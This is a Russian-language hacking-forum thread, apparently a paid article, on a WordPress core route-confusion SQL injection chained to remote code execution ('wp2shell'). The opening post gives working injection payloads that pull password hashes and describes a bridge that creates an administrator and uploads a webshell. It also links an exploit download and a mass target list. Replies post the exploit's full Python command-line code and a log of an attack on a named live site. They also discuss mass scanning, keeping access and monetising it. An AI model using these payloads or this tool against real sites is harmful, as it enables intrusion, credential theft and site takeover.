LIMB
Вход Регистрация

тема

ДВА БАГА, ОДИН БАТЧ, ПОЛМИЛЛИАРДА ВОРДПРЕССОВ. wp2shell, CVE-2026-63030

bezmyatezhnost · · 19 ответов · 676 просмотров

Не удалось прогрузить медиа

​
Всех приветствую. Продолжаем потрошить WordPress, но сегодня не какой-то плагин на 30k установок и даже не Shop Manager от которого стены плачут. Сегодня разложим по косточкам pre-auth RCE в самом ЯДРЕ вордпресса. CVE-2026-63030 и CVE-2026-60137, в народе wp2shell. Три дня назад (17 июля) Searchlight Cyber выкатили адвайзори, WordPress выпустил экстренные патчи 7.0.2 и 6.9.5 с принудительным автообновлением, а вчера на гитхабе появился полноценный PoC с UNION-экстракцией, blind-инъекцией, и pre-auth мостом до создания админа и загрузки шелла. Небольшая предыстория, зачем это вообще кому-то. WordPress стоит, по разным оценкам, на 500 миллионах сайтов. Это не опечатка, полмиллиарда. И вот впервые за хрен знает сколько лет в ядре находят не какой-то CSRF с CVSS 4.0, а полноценную анонимную SQL-инъекцию, которая через хитрую цепочку доводится до выполнения кода на сервере. Для тех кто следил за моими статьями: раньше мы для шопов искали SQLi в Bear Bulk Editor, апались с Shop Manager, воевали со скобками которые режут подзапросы, а до WooCommerce Order Export добирались через тройку условий. А тут условие одно: WordPress версии 6.9–7.0.1. Всё. Вообще всё. Погнали разбирать.

Не удалось прогрузить медиа

​

Две уязвимости, которые по отдельности неприятны, а вместе убийственны:
  • CVE-2026-60137 - SQL injection в параметре author__not_in класса WP_Query. Появилась в WordPress 6.8.
  • CVE-2026-63030 - route confusion в REST API batch endpoint (/batch/v1). Появилась в WordPress 6.9.
Batch API сам по себе штука полезная, позволяет запаковать несколько REST-подзапросов в один HTTP-запрос. Но внутри функции serve_batch_request_v1() разработчики строят два параллельных массива: $matches (обработчики маршрутов) и $validation (результаты валидации). Индексация обоих по одному смещению. И если путь одного из подзапросов проваливает wp_parse_url() - он добавляется в $validation, но НЕ в $matches. Массивы рассинхронизируются. И подзапрос начинает исполняться под хендлером СОСЕДНЕГО подзапроса. Вот это и есть route confusion. Запрос валидируется как один маршрут (скажем, item-route /wp/v2/posts/999999), а диспатчится под другим (collection-route posts get_items()). А параметры, которые прошли через item-схему без валидации (потому что в item-схеме их просто нет), внезапно оказываются в collection-обработчике, который их честно скармливает в WP_Query. Включая author_exclude, который маппится в author__not_in. А author__not_in в уязвимых билдах интерполируется в SQL как строка. Просто "'$s'".

Не удалось прогрузить медиа

​
Вся магия в nested batch. PoC делает ДВОЙНОЙ десинхрон:

Шаг 1 - внешний batch содержит три подзапроса:
Code:
{
  "requests": [
    {"method": "POST", "path": "///"},                    // <- wp_parse_url() фейлит, десинхрон
    {"method": "POST", "path": "/wp/v2/posts", "body": inner},  // <- этот будет исполнен под batch handler
    {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}
  ]
}

Путь "///" - это специально уродливый URL, который wp_parse_url() не может распарсить. Он создаёт WP_Error в массиве $validation, но не добавляет запись в $matches. Массивы съехали на одну позицию. Теперь второй подзапрос (/wp/v2/posts с телом inner) диспатчится под хендлером batch handler. А раз он был провалидирован как posts-запрос, его поле "requests" не проверяется против batch-схемы. Это значит, что внутренние подзапросы могут использовать GET (хотя batch разрешает только POST).

Шаг 2 - внутренний batch:
Code:
{
  "requests": [
    {"method": "POST", "path": "///"},                    // <- опять десинхрон
    {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=PAYLOAD&orderby=none&per_page=500"},
    {"method": "GET", "path": "/wp/v2/posts"}
  ]
}

Снова "///", снова рассинхрон. Запрос на /wp/v2/posts/999999 (item route) валидируется по item-схеме, где author_exclude, orderby и per_page просто не определены - значит проходят без проверки. Но диспатчится он уже под posts get_items() - collection handler. И вот author_exclude маппится в author__not_in, а тот летит прямиком в SQL:

Code:
кусок старого post_author NOT IN (<наш пейлод>)

Подставляем значение вида:
Code:
0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX((SELECT user_pass FROM wp_users LIMIT 1))))-- -

И SQL превращается в:
Code:
... post_author NOT IN (0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX((SELECT user_pass FROM wp_users LIMIT 1))))-- - ) ...

Бинго, error-based инъекция. Но это ещё не всё.

Не удалось прогрузить медиа

​
Три метода чтения данных через SQLi:

1. UNION - самый быстрый и жирный. Подставляет UNION SELECT с полным набором из 23 колонок wp_posts. Пост-title несёт HEX(value) обёрнутый в ||...||. На выходе WordPress рендерит фейковый пост и возвращает его в JSON-ответе. Работает благодаря orderby=none (убирает ORDER BY который бы сломал UNION) и per_page=500 (держит WP_Query в full-row режиме без object cache split).

Code:
# пейлод для UNION
1) AND 1=0 UNION ALL SELECT 999999,1,'2020-01-01','2020-01-01','','',
CONCAT(0x7c7c,HEX(CAST((SELECT user_pass FROM wp_users LIMIT 1) AS CHAR)),0x7c7c),
'','publish','closed','closed','','','','2020-01-01','2020-01-01','',0,'',0,'post','',0 -- -

В ответе ищем паттерн ||HEX||, декодим из hex - и вот наш пароль-хэш.

2. Error-based - когда WP_DEBUG_DISPLAY включён. EXTRACTVALUE/UPDATEXML выплёвывают ~15 байт за запрос в XPATH syntax error. Быстрее слепой, но зависит от конфигурации.

Code:
0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,15))))-- -

3. Blind boolean - универсальный фоллбэк. Читает X-WP-Total хедер (количество постов, подходящих под условие). Условие истинно - total > 0, ложно - total = 0. Бинарный поиск по ASCII-коду, ~8 запросов на символ.

Code:
-1) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 53)-- -

Знакомо, правда? Ровно то же самое мы делали в Bear Bulk Editor, только там нас скобки резали. А тут? А тут НЕТ НИКАКИХ ФИЛЬТРОВ. Ни скобок, ни кавычек, ни wp_magic_quotes (потому что мы не через $_POST летим, а через JSON body REST API). Полная свобода, подзапросы, функции, UNION, SLEEP, всё работает.

Не удалось прогрузить медиа
​


Окей, мы читаем базу. Можно вытащить хэш админа, попробовать крякнуть, залогиниться и загрузить шелл. Но это дополнительное условие, слабый пароль. А у нас все таки вп2шелл, какие еще кряки паролей и хэшкеты?

1. Через UNION fake-post рендерим контент с [embed] шорткодом. WordPress при рендере создаёт реальные oembed_cache посты в базе.
2. Через cкулю достаём ID этих свежесозданных кэш-постов.
3. В одном отравленном batch-запросе переназначаем эти посты:
  • один становится customize_changeset
  • второй - nav_menu_item
  • третий - request hook shape
4. Тот же batch-запрос содержит POST /wp/v2/users с телом {"username": "wp2_xxx", "password": "...", "roles": ["administrator"]}. Благодаря подготовленному changeset WordPress считает что контекст легитимный и создаёт администратора.
5. Логинимся созданным админом, загружаем что хотим, и творим, что хотим.
Вот и вся цепочка.

Не удалось прогрузить медиа

ломанули шото!)
​
Code:
Полная RCE-цепочка (wp2shell):
  6.9.0 – 6.9.4    -> фикс в 6.9.5
  7.0.0 – 7.0.1    -> фикс в 7.0.2

Отдельная SQLi (без RCE):
  6.8.0 – 6.8.5    -> фикс в 6.8.6

Не затронуты:
  < 6.8

На ветке 6.8 есть SQLi (author__not_in), но нет batch route confusion, по этому полная цепочка не собирается. Но blind-инъекция через аутентифицированный REST запрос всё ещё работает для любого залогиненного юзера, а это уже другой разговор. Несколько граблей по дороге, чтоб не наступали: PoC использует ?rest_route=/batch/v1, а не /wp-json/batch/v1, потому что первый вариант работает на ЛЮБОЙ установке включая plain-permalinks (дефолт). UNION-ветка зависит от отсутствия persistent object cache (Redis/Memcached), если кэш включён, фоллбэк на blind. И PoC после себя убирает шелл и созданного админа, всё чисто. Ну, и собственно, зачем вы это всё читали. Держите.

wp2shell poc/exp - https://mega.nz/file/UycxjTLY#vkd3nxgT1O7HIbyCRrRjSGww7ppE8ko6wQz64L80CIo
лист всех вордпрессов в мире - https://mega.nz/file/cn0UmZyb#VkNDGjLMbi13SIBFaonBFmxsVt3Tr4lEhXzgDPJGvKg
быстро чекнуть уязвим ли - https://wp2shell.com/

Всем пока, не болейте![/embed]
👍59 🔥19 😮13 🤔11 😢11
Ответbezmyatezhnost

ломанули шото!)

Не удалось прогрузить медиа


Что ломанули то?) Не отрабатывают команды
👍2
Ответcybergangster

Не удалось прогрузить медиа Что ломанули то?) Не отрабатывают команды

у тебя уже как минимум доступ есть к админке сайте через созданную админку сплоитом, через него уже можешь заливать что хочешь
флоу такой что создается админка заливается шелл как плагин и вот у тебя вп2шелл

шелл там такой, что выполняется через shell_exec, а он не всегда разблочен)

Не удалось прогрузить медиа


pass: dudeomg

Не удалось прогрузить медиа


я думаю если уметь базово заходить в вп и заливать шеллы, то никаких проблем не будет, а если просто пытаться скрипт-киддить, и надеяться, что 1 клика хватит, пардон, фенита ля комедия, очень жаль, или мы всё таки рассчитываем на такую ЦА у форума? 
Не удалось прогрузить медиа
[Куплет 1]
(Хакер, хакер, хакер)
Кто сидит в балаклаве, смотрит монитор (Кто?)
Его пища похожа на корм для котов (Для котов)
Он ломает Пентагон левой рукой
Он презрел закон, нарушает юзера покой

[Припев]
Мамкин хакер, мамкин хакер
Ему как два байта переслать мир нахер
Мамкин хакер, мамкин хакер
Он один играет против правил, яу

[Куплет 2]
Knock-knock at the front, понимаешь, door (Door)
Прекращает по Дискорду быстрый разговор
Вырубает Тор, в комнате Роскомнадзор
Но интернет уже на флешке, он хитёр (Да, он хитёр)
Прыгает на ховерборд, улетает с собой горд
За ним хвост, но он движет чётко в клуб под мост (Под мост)
Знает, что преследовать глупо, в недрах компьютерного клуба
Что такое? Дверь открыта, всюду трупы
Воет сирена, играет Pussy Riot. (Кто это?)
На стене жидким кристаллом надпись: «Время не выбирают»
Робот-пёс лает — не по-лайту в этот раз
В подвал пущен нервный газ, ну класс
Вдруг в тёмном туннеле где-то вдали (Сюда Нео)
Проступает силуэт батюшки Светы Анжелины Джоли
Она кричит: «Пошли!». Хакермен бежит за ней
На пути отбиваясь от правительственных змей
Наконец-то сейф-спейс, у неё в руке кейс
Супер грудь заставляет думать только про секс
В её глазах кристаллизуется вопрос:
«Ты принёс, детка? Ты интернет принёс?»


[Припев]
Мамкин хакер, мамкин хакер
Ему как два байта переслать мир нахер
Мамкин хакер, мамкин хакер
Он один играет против правил, яу

[Куплет 3]
Что-то не так. В видеосигнале младший бит
Говорит о том, что перед ним агент Смит
Через секунду он лежит, пробит пулями
Кровь течёт in the street по закону Бернулли
Всё пролетает, два икс перед глазами
Вот по информатике сдаёт Морфеусу экзамен
Припоминает, что учил этот билет
Ни бытия нет, Морфеус, ни бытия нет
Встает с колен и вылетает по вторую часть
Где-то внизу щелк-щелкает агента Смита пасть
Не для этой пасти хакера орешки
У него как символ власти интернет на флешке

[Припев]
Мамкин хакер, мамкин хакер
Ему как два байта переслать мир нахер
Мамкин хакер, мамкин хакер
Он один играет против правил, яу
Мамкин хакер, мамкин хакер
Ему как два байта переслать мир нахер
Мамкин хакер, мамкин хакер
Смотрите вторую часть во всех кинотеатрах
👍1
Ответbezmyatezhnost

у тебя уже как минимум доступ есть к админке сайте через созданную админку сплоитом, через него уже можешь заливать что хочешь флоу такой что создается админка заливается шелл как плагин и вот у тебя вп2шелл шелл там…

./wp2shell.py shell https://auxez.com/ -i

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_653dc32b9804
[*] Authenticating as 'wp2_653dc32b9804'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: https://auxez.com/wp-content/plugins/wp2shell_bbce4783/wp2shell_bbce4783.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.

как пароль от админки получить?)
👍1
Ответcybergangster

./wp2shell.py shell https://auxez.com/ -i [!] This uploads a plugin containing a webshell to the target. [!] No credentials supplied; attempting pre-auth administrator creation. [*] Creating administrator through the…

добавить вывод пароля в скрипте к примеру
👍1
Ответbezmyatezhnost

добавить вывод пароля в скрипте к примеру

Присылайте готовый POC то что на меге там не выводится пароль от админа и с шеллом не получается взаимодействовать. Вы нам продаете материал, все должно четко работать. И ссылку поменяйте на вордпресс сайты.
👍3
Python:
"""Command-line interface."""

from __future__ import annotations

import argparse
import os
import re
import shlex
import sys
from typing import List, Optional

from . import __version__
from .client import BatchClient, TargetError
from .exploit import PreAuthAdminCreator
from .shell import AdminSession
from .sqli import BlindSQLi, ErrorBasedSQLi, UnionSQLi
from .version import public_version_hints, version_status, wordpress_markers

try:
    import readline  # noqa: F401 - enables line editing/history for the interactive prompt
except ImportError:
    pass

_TTY = sys.stdout.isatty()


def _paint(code: str, text: str) -> str:
    return f"\033[{code}m{text}\033[0m" if _TTY else text


def info(msg: str) -> None:
    print(f"[*] {msg}")


def good(msg: str) -> None:
    print(_paint("32", f"[+] {msg}"))


def bad(msg: str) -> None:
    print(_paint("31", f"[-] {msg}"))


def warn(msg: str) -> None:
    print(_paint("33", f"[!] {msg}"))


def _progress(text: str) -> None:
    # Single updating line on a terminal; suppressed when output is piped or redirected.
    if _TTY:
        sys.stdout.write("\r\033[K    " + text)
        sys.stdout.flush()


def _clear_progress() -> None:
    if _TTY:
        sys.stdout.write("\r\033[K")
        sys.stdout.flush()


def _client(args: argparse.Namespace) -> BatchClient:
    return BatchClient(
        args.url,
        timeout=args.timeout,
        proxy=args.proxy,
    )


def _short(text: str, *, limit: int = 96) -> str:
    if len(text) <= limit:
        return text
    return text[: limit - 3] + "..."


def _print_wordpress_markers(client: BatchClient) -> tuple:
    markers = wordpress_markers(client)
    if markers:
        info(f"WordPress markers found ({' / '.join(markers)})")
    else:
        warn("No public WordPress markers found.")
    return markers


def _print_version_hints(client: BatchClient) -> tuple:
    hints = public_version_hints(client)
    if not hints:
        warn("No public WordPress version hints found.")
        return hints

    info("Public WordPress version hints:")
    for hint in hints:
        line = (
            f"    - {hint.version} via {hint.source} "
            f"({version_status(hint.version)}) - {_short(hint.detail)}"
        )
        print(_paint("33", line) if hint.affected else _paint("32", line))
    if any(hint.affected for hint in hints):
        warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
    return hints


# -- commands ---------------------------------------------------------------


_URL_RE = re.compile(r"https?://\S+")


def _resolve_targets(value: str) -> List[str]:
    """Resolve the check target: a single URL, or the http(s):// URLs listed in a file.

    A file is accepted only if it actually contains http:// or https:// URLs. Lines without a
    scheme (bare domains, comments, blanks) are ignored, and a file with no URLs is rejected.
    """
    if _URL_RE.search(value):
        return [value.strip()]
    if os.path.isfile(value):
        urls: List[str] = []
        seen = set()
        with open(value, encoding="utf-8", errors="replace") as handle:
            for line in handle:
                match = _URL_RE.search(line)
                if match and match.group(0) not in seen:
                    seen.add(match.group(0))
                    urls.append(match.group(0))
        if not urls:
            raise ValueError(f"{value}: no http:// or https:// URLs found in file")
        return urls
    raise ValueError(f"{value!r} is not a URL (http[s]://...) or a file containing such URLs")


def cmd_check(args: argparse.Namespace) -> int:
    try:
        targets = _resolve_targets(args.url)
    except ValueError as exc:
        bad(str(exc))
        return 2
    if len(targets) == 1:
        return _check_one(targets[0], args)

    info(f"Scanning {len(targets)} targets from {args.url}")
    vulnerable = 0
    for index, url in enumerate(targets, start=1):
        print()
        info(f"[{index}/{len(targets)}] {url}")
        try:
            rc = _check_one(url, args)
        except TargetError as exc:
            bad(str(exc))
            rc = 1
        if rc == 0:
            vulnerable += 1
    print()
    (good if vulnerable else info)(f"Scan complete: {vulnerable}/{len(targets)} vulnerable.")
    return 0 if vulnerable else 2


def _check_one(url: str, args: argparse.Namespace) -> int:
    # The confirmation request sleeps for --sleep, so the timeout must exceed it.
    client = BatchClient(
        url,
        timeout=max(args.timeout, args.sleep + 10),
        proxy=args.proxy,
    )
    _print_wordpress_markers(client)
    hints = _print_version_hints(client)

    probe = client.marker_probe()
    if probe.status != 207:
        bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
        return 1
    markers = client.batch_marker_codes(probe)
    if markers:
        info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
    else:
        good("Batch endpoint reachable and unauthenticated (HTTP 207).")

    route_confusion = client.has_route_confusion_markers(probe)
    if route_confusion:
        good("VULNERABLE — batch route-confusion behavior detected.")
        if not args.confirm_sqli:
            info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.")
            return 0
    elif not args.confirm_sqli:
        bad("Route-confusion marker pattern not detected.")
        if any(hint.affected for hint in hints):
            warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
        return 2

    union = UnionSQLi(client)
    if union.available():
        good("SQLi confirmed — UNION fake-post read returned data.")
        return 0
    info("UNION SQLi confirmation unavailable; falling back to timing confirmation.")

    result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
    if args.samples > 1:
        details = ", ".join(
            f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples
        )
        info(f"Timing samples: {details}")
        info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
    if result.confirmed:
        good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
        return 0
    if route_confusion:
        warn(
            f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
            f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
        )
        warn("A WAF or edge rule may be filtering the SQLi payload; the route-confusion bug still looks present.")
        return 0
    bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
    warn("This may be a patched target, or a WAF/edge rule filtering the SQLi payload.")
    if any(hint.affected for hint in hints):
        warn("Version suggests exposure, but the timing payload did not execute or was blocked.")
    return 2


def _reader(args: argparse.Namespace, client: BatchClient):
    """Pick the extraction technique.

    auto prefers the fastest in-band method that works: UNION (one request per value, forges a fake
    WP_Post), then error-based (needs reflected DB errors), then blind binary search.
    """
    if args.technique in ("auto", "union"):
        union = UnionSQLi(client)
        if union.available():
            good("UNION extraction available (in-band, one request per value) — using it.")
            return union
        if args.technique == "union":
            bad("UNION extraction requested but the forged post was not reflected.")
            return None
        info("UNION extraction unavailable; trying error-based.")
    if args.technique in ("auto", "error"):
        error_based = ErrorBasedSQLi(client)
        if error_based.available():
            good("Error-based extraction available (target reflects DB errors) — using it.")
            return error_based
        if args.technique == "error":
            bad("Error-based extraction requested but the target does not reflect DB errors.")
            return None
        info("Target does not reflect DB errors; falling back to blind extraction.")
    return BlindSQLi(client)


def cmd_read(args: argparse.Namespace) -> int:
    client = _client(args)
    sqli = _reader(args, client)
    if sqli is None:
        return 2

    if args.query:
        info(f"Reading: {args.query}")
        value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
        _clear_progress()
        good(f"Result: {value}")
    elif args.preset == "fingerprint":
        for label, expr in (
            ("MySQL version", "SELECT @@version"),
            ("Database user", "SELECT CURRENT_USER()"),
            ("Database name", "SELECT DATABASE()"),
        ):
            good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
    elif args.preset == "users":
        table = f"{args.prefix}users"
        total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
        info(f"{total} user(s) in {table}.")
        for offset in range(total):
            row = sqli.extract(
                f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
                f"FROM {table} ORDER BY ID LIMIT {offset},1",
                max_length=args.max_length,
                on_char=_progress,
            )
            _clear_progress()
            good(row)

    info(f"{sqli.requests} request(s) sent.")
    return 0


_CWD_MARK = "__wp2shellcwd__"  # shell-metacharacter-free so it survives the remote shell


def _repl(session: AdminSession, path: str) -> None:
    """A minimal interactive prompt piping each line through the webshell.

    Commands are stateless server-side, so the working directory is tracked client-side and
    re-applied to each command (which makes `cd` behave as expected).
    """
    pwd = session.run(path, "pwd")
    if pwd is None:
        bad("webshell not responding; aborting interactive mode.")
        return
    cwd = pwd.strip() or "/"
    info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.")
    while True:
        try:
            line = input(_paint("36", f"{cwd} $ "))
        except (EOFError, KeyboardInterrupt):
            print()
            return
        command = line.strip()
        if not command:
            continue
        if command in ("exit", "quit"):
            return
        out = session.run(
            path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\""
        )
        if out is None:
            bad("no response from webshell")
            continue
        body, marker, tail = out.rpartition(_CWD_MARK)
        if marker:
            cwd = tail.strip() or cwd
            out = body
        out = out.rstrip("\n")
        if out:
            print(out)


def cmd_shell(args: argparse.Namespace) -> int:
    if not args.cmd and not args.interactive:
        bad("specify --cmd or --interactive")
        return 2
    if bool(args.user) != bool(args.password):
        bad("specify both --user and --password, or omit both to use the pre-auth bridge")
        return 2

    warn("This uploads a plugin containing a webshell to the target.")

    generated_admin = None
    username, password = args.user, args.password
    if username is None:
        warn("No credentials supplied; attempting pre-auth administrator creation.")
        creator = PreAuthAdminCreator(
            args.url,
            timeout=args.timeout,
            proxy=args.proxy,
        )
        info("Creating administrator through the SQLi-to-customizer bridge...")
        generated_admin = creator.create_admin()
        username, password = generated_admin.username, generated_admin.password
        good(f"Administrator created: {username},{password}")

    session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)

    info(f"Authenticating as {username!r}...")
    if not session.login(username, password):
        bad("Login failed.")
        if generated_admin:
            warn("The pre-auth bridge appeared to run, but the generated credentials did not log in.")
        return 1
    good("Authenticated.")

    info("Deploying webshell plugin...")
    path = session.deploy_webshell()
    good(f"Webshell: {args.url.rstrip('/')}{path}")

    rc = 0
    try:
        if args.cmd:
            output = session.run(path, args.cmd)
            if output is None:
                bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.")
                rc = 1
            else:
                print()
                print(output.rstrip("\n"))
                print()

        if args.interactive:
            _repl(session, path)
    finally:
        if generated_admin:
            info("Deleting generated administrator...")
            try:
                removed_admin = session.delete_user_with_shell(
                    path,
                    generated_admin.username,
                    reassign_to=generated_admin.source_admin_id,
                )
            except Exception:  # noqa: BLE001 - continue to remove the webshell.
                removed_admin = False
            if removed_admin:
                good("Generated administrator removed from the target.")
            else:
                bad(f"Generated administrator cleanup failed: {generated_admin.username}:{generated_admin.password}")
                rc = 1

        info("Cleaning up webshell...")
        try:
            removed = session.cleanup(path)
        except Exception as exc:  # noqa: BLE001 - cleanup must not hide the original failure
            bad(f"Webshell cleanup failed ({exc}).")
            rc = 1
        else:
            if removed:
                good("Webshell removed from the target.")
            else:
                bad("Webshell cleanup failed.")
                rc = 1
    return rc


# -- parser -----------------------------------------------------------------


def _add_common(parser: argparse.ArgumentParser) -> None:
    parser.add_argument("url", help="target base URL, e.g. http://target")
    parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
    parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        prog="wp2shell",
        description="WordPress REST batch route-confusion SQLi PoC associated with wp2shell.",
    )
    parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
    sub = parser.add_subparsers(dest="command", required=True)

    check = sub.add_parser(
        "check",
        help="confirm the vulnerability on a URL, or scan a file of URLs (non-destructive)",
    )
    _add_common(check)
    check.add_argument(
        "--sleep",
        type=float,
        default=3.0,
        help="SQL timing delay used by the --confirm-sqli fallback (default: 3)",
    )
    check.add_argument(
        "--samples",
        type=int,
        default=3,
        help="baseline/delayed SQL timing pairs used by the --confirm-sqli fallback (default: 3)",
    )
    check.add_argument(
        "--confirm-sqli",
        action="store_true",
        help="also send an active SQLi confirmation payload",
    )
    check.set_defaults(func=cmd_check)

    read = sub.add_parser("read", help="read from the database via blind SQL injection")
    _add_common(read)
    group = read.add_mutually_exclusive_group()
    group.add_argument(
        "--preset",
        choices=("fingerprint", "users"),
        default="fingerprint",
        help="fingerprint (version/user/db) or users (logins and password hashes)",
    )
    group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
    read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
    read.add_argument("--max-length", type=int, default=128, help="max characters per value")
    read.add_argument(
        "--technique",
        choices=("auto", "union", "blind", "error"),
        default="auto",
        help="extraction technique: auto (union -> error-based -> blind), union (in-band, forges a "
        "fake WP_Post; one request per value), error (in-band, needs visible DB errors), or blind "
        "(bit-by-bit boolean/timing)",
    )
    read.set_defaults(func=cmd_read)

    shell = sub.add_parser("shell", help="plugin shell; with credentials or via the pre-auth bridge")
    _add_common(shell)
    shell.add_argument("--user", help="admin username; omit with --password to use the pre-auth bridge")
    shell.add_argument("--password", help="admin password; omit with --user to use the pre-auth bridge")
    shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
    shell.add_argument("-i", "--interactive", action="store_true",
                       help="open an interactive shell after deploying")
    shell.set_defaults(func=cmd_shell)

    return parser


def main(argv: Optional[list] = None) -> int:
    args = build_parser().parse_args(argv)
    try:
        return args.func(args)
    except KeyboardInterrupt:
        return 130
    except Exception as exc:  # noqa: BLE001 - surface a clean message, not a traceback
        bad(str(exc))
        return 1
👍5 ❤️1 🔥1
Ответcybergangster

Python: """Command-line interface.""" from __future__ import annotations import argparse import os import re import shlex import sys from typing import List , Optional from . import __version__ from .client import…

Не удалось прогрузить медиа


С паролем вопрос решен. Код прислал выше. Перезагрузите ссылку на сайты
👍3
Ответcybergangster

Не удалось прогрузить медиа С паролем вопрос решен. Код прислал выше. Перезагрузите ссылку на сайты

и так перезалита
Ответbezmyatezhnost

и так перезалита

сколько потенциально уязвимых сайтов с возможностью войти в админку?
👍3
Ответcybergangster

сколько потенциально уязвимых сайтов с возможностью войти в админку?

WP обновляется на автопилоте. немедленно выйдет новая версия и ядро все, будет пропатчено
=== 
так отписался мой ВП:


10 июля в 3:48

 Ваш сайт обновлён до WordPress 7.0.1​

👍2
Ответcybergangster

сколько потенциально уязвимых сайтов с возможностью войти в админку?

смотря с какой стороны монеты взглянуть, тут два варианта развития событий
Полная RCE-цепочка (wp2shell):
  6.9.0 – 6.9.4    -> фикс в 6.9.5
  7.0.0 – 7.0.1    -> фикс в 7.0.2

Отдельная SQLi (без RCE):
  6.8.0 – 6.8.5    -> фикс в 6.8.6

если берем скулю, то дамп админских учеток + кряк хэша (очень тяжелого)
если рце, то другое количество, но и не забываем что хостинги перекрывают кислород, что клаудфлеер уже

Ответlisa99

WP обновляется на автопилоте. немедленно выйдет новая версия и ядро все, будет пропатчено === так отписался мой ВП: 10 июля в 3:48 Ваш сайт обновлён до WordPress 7.0.1​

"видел, читал, сам испытывал; не у всех включена автообнова вп, всё равно приличный лист уязвимых выходит, у меня до сих пор сканится, а если даже не дает пробивать в тупую на создание админа, то дамп хэша с последующим кряком"
👍1
Кто то еще этим дырявым дерьмом пользуется?)
Ответn1lfg0d

Кто то еще этим дырявым дерьмом пользуется?)

половина интернета
👍3
паблик инфа, видел на хсс до постинга тут, клауд фильтрует, да, вп обновляется до 7.0.2 автоматом у кого стоит
Ответyouaretheone

паблик инфа, видел на хсс до постинга тут, клауд фильтрует, да, вп обновляется до 7.0.2 автоматом у кого стоит

Да, статья действительно кликбейт больше подобного рода материал не допустим на оплату. Я взял с https://publicwww.com/ wp 7.0.1 (предварительно перепроверил чтобы именно эта версия была) штук 30 сайтов проверил ни один шелл не отдал.
Ответcybergangster

Да, статья действительно кликбейт больше подобного рода материал не допустим на оплату. Я взял с https://publicwww.com/ wp 7.0.1 (предварительно перепроверил чтобы именно эта версия была) штук 30 сайтов проверил ни один…

Максимально автор не постарался, прилепил 30kk мусора большинство сайтов нерабочие. Нам такое на форуме не нужно.
Я бы почитал какой вообще воркфлоу для новых цве, вот допустим вышла эта так таких же китайцев и индусов тоже сканящих тысячи одни и те же таргеты, как действовать что бы доступ сохранить, что делать с соседями и итд, где таргеты брать, как монетизировать.
👍1
ОтветFoRtt

Я бы почитал какой вообще воркфлоу для новых цве, вот допустим вышла эта так таких же китайцев и индусов тоже сканящих тысячи одни и те же таргеты, как действовать что бы доступ сохранить, что делать с соседями и итд…

ну в паблике обычно то чем и занимаются индусы и китайцы.

Чем занялась я - проверила насколько закрыты известные CVE  в популярном движке. Да, их закрыли, но не тщательно, оказалось так, как ни странно
Байпасс известных CVE - вот тебе метод.
И как только я назову движок и покажу эксплойт, его слижет туча халявщиков, ботов, которые парсят форумы и тут же дойдет до индусов (немного позже)

Хочешь уникальные доступы - не ищи их в паблике. Иначе будут "одинаковые таргеты" и соседи.
👍4 🔥1
хз, как вы сканите, я взял не паблик бд с доменами, просканил на вп, потом просканил на нужные версии, из 500 с подходящей версией 200 сайтов пустили без кряка хеша паролей, как по мне оч хорошая конва
Ответcybergangster

Да, статья действительно кликбейт больше подобного рода материал не допустим на оплату. Я взял с https://publicwww.com/ wp 7.0.1 (предварительно перепроверил чтобы именно эта версия была) штук 30 сайтов проверил ни один…

👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.